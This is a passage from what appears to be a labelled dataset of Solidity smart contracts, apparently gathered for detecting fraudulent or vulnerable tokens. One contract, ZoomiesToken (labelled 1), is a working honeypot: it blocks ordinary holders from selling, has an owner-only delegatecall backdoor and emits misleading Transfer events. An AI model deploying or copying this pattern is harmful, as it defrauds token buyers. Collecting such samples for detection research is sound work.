require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Migratic";
string public constant TOKEN_SYMBOL = "MIGRATIC";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xb65695c2852CfA2FFB1a70B094CB4F0391C3Da01;
uint public constant START_TIME = 1562558400;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 1,552 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ZoomiesToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,492 |
pragma solidity ^0.4.18;
contract FUTR {
uint256 constant MAX_UINT256 = 2**256 - 1;
uint256 MAX_SUBMITTED = 500067157619455000000000;
uint256 _totalSupply = 0;
uint256[] levels = [
8771929824561400000000,
19895525330179400000000,
37350070784724800000000,
64114776667077800000000,
98400490952792100000000,
148400490952792000000000,
218400490952792000000000,
308400490952792000000000,
415067157619459000000000,
500067157619455000000000
];
uint256[] ratios = [
114,
89,
55,
34,
21,
13,
8,
5,
3,
2 ];
uint256 _submitted = 0;
uint256 public tier = 0;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
event Mined(address indexed _miner, uint _value);
event WaitStarted(uint256 endTime);
event SwapStarted(uint256 endTime);
event MiningStart(uint256 end_time, uint256 swap_time, uint256 swap_end_time);
event MiningExtended(uint256 end_time, uint256 swap_time, uint256 swap_end_time);
string public name = "Futereum Token";
uint8 public decimals = 18;
string public symbol = "FUTR";
bool public swap = false;
bool public wait = false;
bool public extended = false;
uint256 public endTime;
uint256 swapTime;
uint256 swapEndTime;
uint256 endTimeExtended;
uint256 swapTimeExtended;
uint256 swapEndTimeExtended;
uint256 public payRate = 0;
uint256 submittedFeesPaid = 0;
uint256 penalty = 0;
uint256 reservedFees = 0;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function () external payable {
require(msg.sender != address(0) &&
tier != 10 &&
swap == false &&
wait == false);
uint256 issued = mint(msg.sender, msg.value);
Mined(msg.sender, issued);
Transfer(this, msg.sender, issued);
}
function FUTR() public {
_start();
}
function _start() internal
{
swap = false;
wait = false;
extended = false;
endTime = now + 366 days;
swapTime = endTime + 30 days;
swapEndTime = swapTime + 5 days;
endTimeExtended = now + 1096 days;
swapTimeExtended = endTimeExtended + 30 days;
swapEndTimeExtended = swapTimeExtended + 5 days;
submittedFeesPaid = 0;
_submitted = 0;
reservedFees = 0;
payRate = 0;
tier = 0;
MiningStart(endTime, swapTime, swapEndTime);
}
function restart() public {
require(swap && now >= endTime);
penalty = this.balance * 2000 / 10000;
payFees();
_start();
}
function totalSupply() public constant returns (uint)
{
return _totalSupply;
}
function mint(address _to, uint256 _value) internal returns (uint256)
{
uint256 total = _submitted + _value;
if (total > MAX_SUBMITTED)
{
uint256 refund = total - MAX_SUBMITTED - 1;
_value = _value - refund;
_to.transfer(refund);
}
_submitted += _value;
total -= refund;
uint256 tokens = calculateTokens(total, _value);
balances[_to] += tokens;
_totalSupply += tokens;
return tokens;
}
function calculateTokens(uint256 total, uint256 _value) internal returns (uint256)
{
if (tier == 10)
{
return 7400000000;
}
uint256 tokens = 0;
if (total > levels[tier])
{
uint256 remaining = total - levels[tier];
_value -= remaining;
tokens = (_value) * ratios[tier];
tier += 1;
tokens += calculateTokens(total, remaining);
}
else
{
tokens = _value * ratios[tier];
}
return tokens;
}
function currentTier() public view returns (uint256) {
if (tier == 10)
{
return 10;
}
else
{
return tier + 1;
}
}
function leftInTier() public view returns (uint256) {
if (tier == 10) {
return 0;
}
else
{
return levels[tier] - _submitted;
}
}
function submitted() public view returns (uint256) {
return _submitted;
}
function balanceMinusFeesOutstanding() public view returns (uint256) {
return this.balance - (penalty + (_submitted - submittedFeesPaid) * 1530 / 10000);
}
function calulateRate() internal {
reservedFees = penalty + (_submitted - submittedFeesPaid) * 1530 / 10000;
uint256 tokens = _totalSupply / 1 ether;
payRate = (this.balance - reservedFees);
payRate = payRate / tokens;
}
function _updateState() internal {
if (now >= endTime)
{
if(!swap && !wait)
{
if (extended)
{
wait = true;
endTime = swapTimeExtended;
WaitStarted(endTime);
}
else if (tier == 10)
{
wait = true;
endTime = swapTime;
WaitStarted(endTime);
}
else
{
endTime = endTimeExtended;
extended = true;
MiningExtended(endTime, swapTime, swapEndTime);
}
}
else if (wait)
{
swap = true;
wait = false;
if (extended)
{
endTime = swapEndTimeExtended;
}
else
{
endTime = swapEndTime;
}
SwapStarted(endTime);
}
}
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
_updateState();
if (_to == address(this))
{
require(swap);
if (payRate == 0)
{
calulateRate();
}
uint256 amount = _value * payRate;
amount /= 1 ether;
balances[msg.sender] -= _value;
_totalSupply -= _value;
Transfer(msg.sender, _to, _value);
msg.sender.transfer(amount);
} else
{
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) view public returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
address public foundation = 0x950ec4ef693d90f8519c4213821e462426d30905;
address public owner = 0x78BFCA5E20B0D710EbEF98249f68d9320eE423be;
address public dev = 0x5d2b9f5345e69e2390ce4c26ccc9c2910a097520;
function payFees() public {
_updateState();
uint256 fees = penalty + (_submitted - submittedFeesPaid) * 1530 / 10000;
submittedFeesPaid = _submitted;
reservedFees = 0;
penalty = 0;
if (fees > 0)
{
foundation.transfer(fees / 2);
owner.transfer(fees / 4);
dev.transfer(fees / 4);
}
}
function changeFoundation (address _receiver) public
{
require(msg.sender == foundation);
foundation = _receiver;
}
function changeOwner (address _receiver) public
{
require(msg.sender == owner);
owner = _receiver;
}
function changeDev (address _receiver) public
{
require(msg.sender == dev);
dev = _receiver;
}
} | 0 | 278 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
